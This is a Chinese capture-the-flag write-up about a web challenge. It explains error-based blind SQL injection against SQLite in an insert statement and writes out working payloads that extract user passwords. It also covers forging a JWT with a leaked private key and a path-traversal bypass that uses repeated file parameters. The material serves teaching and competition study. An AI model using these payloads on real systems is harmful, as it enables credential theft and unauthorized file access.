POST /feedback
有 SQL 注入- insert 注入,只能写 messages 表而且读不出来,但有报错回显
- 可以基于报错的盲注
- 引号有转义,还有一堆子串过滤
- 想办法读出来
admin
的密码
GET /viewlog
能看system.log
,不知道里面有什么- 需要用户名是
admin
- 猜测从
system.log
里能拿到privatekey.pem
- 需要用户名是
GET /checkfile
能读文件- 需要用户名是
admin
,并且权限是File-Priviledged-User
(在 JWT 里) - 读文件有过滤,想办法绕过
- 需要用户名是
- SQLite 不存在报错注入(通过报错直接回显的那种)
- SQLite 没有
sleep
,时间盲注仅有基于randomblob
函数的方法,但blob
被过滤了 - 可以做 基于报错的盲注
其实不需要额外做什么就能逃逸出字符串,因为 SQLite 根本不吃反斜杠转义。
假设它吃的话,可以构造:\' || {} )--
,转义后会变成 \\' || {} )--
,拼接进去变成 ...VALUES('\\' || {} )--'
。{}
是注入点。
SQLite3 中也可以用
RETURNING
,比如:\') RETURNING (SELECT * FROM flag)
。不过我们当然拿不到返回值。
但是,引号转义导致我们后面构造 payload 的时候不能使用引号。
能产生报错的合法表达式:
abs(-9223372036854775808) 或 abs(0x8000000000000000)
load_extension(0)
json('')
把它们构造进条件语句中,检查是否报错来实现盲注,例:
AND CASE WHEN 1=2 THEN 1 ELSE json('') END
替换 1=2 为盲注子句即可……吗?
有问题!由于不能使用引号,unicode
、char
等函数也被过滤了,我们不太好构造字符串
其实,既然 messages 表可以自由插入,那我们理论上能通过一些体操构造出来任意字符,但这个方案有点灵车
这时候我刚好搜到了一篇 5 年前的博客,发现一道很像的题:CTF中的SQLite总结Cheat Sheet #SQLite Voting
其中提到了一个双重 hex
的 trick。例如:
SELECT hex('flag');
/* 666C6167 */
SELECT hex(hex('flag'));
/* 3636364336313637 */
这样我们可以把任何返回值为字符串的表达式转为纯数字字符串。
不过,'1234' = 1234
这样的表达式在 SQLite 里是假值,因为它不会自动做类型转换。 对于较短的整型,可以用 trim
函数帮助转换:
SELECT '1234' = trim(1234);
/* 1 */
trim(0,0)
还能返回一个空串。
这样我们就可以做常规盲注了:
' || CASE WHEN hex(hex(substr((SELECT group_concat(password) FROM users), 1, 1))) = trim(3338) THEN 1 ELSE json(trim(0,0)) END )--
五年前那道题还额外过滤了 [in|sub]str
,所以他用了另一种方法:通过遍历,找到双重 hex
之后那个纯数字字符串的具体值,然后解双重 hex
得到原始结果。
当然为了实现这个效果还要做一堆体操:
abs(
ifnull(
nullif(
max(
hex(hex((/* 注入表达式 */))),
/* NUMBER */
),
/* NUMBER */
),
0x8000000000000000
)
)
NUMBER
过长时,隐式转换会将其转为科学计数法的字符串,然后按字典序比较。解决方案是:用 ||
逐位拼接出超长的 NUMBER
字符串,强制按字典序比较。当然要保证长度一致。
通过 SQL 注入拿到 admin 密码后就可以通过 /viewlog
看 system.log
了。当时赛场上没做到这一步,所以 system.log
里到底有啥我也不知道,根据上下文,我只能猜里面通过某种方式泄露出了 privatekey.pem
。
拿到私钥之后,自然可以随便篡改 JWT,重新签一个 File-Priviledged-User
权限的即可调 /checkfile
很典型的动态类型语言大粪,给 file
传一个数组即可绕过:
?file=&file=&file=&file=&file=&file=&file=&file=&file=&file=../../../../flag&file=.&file=log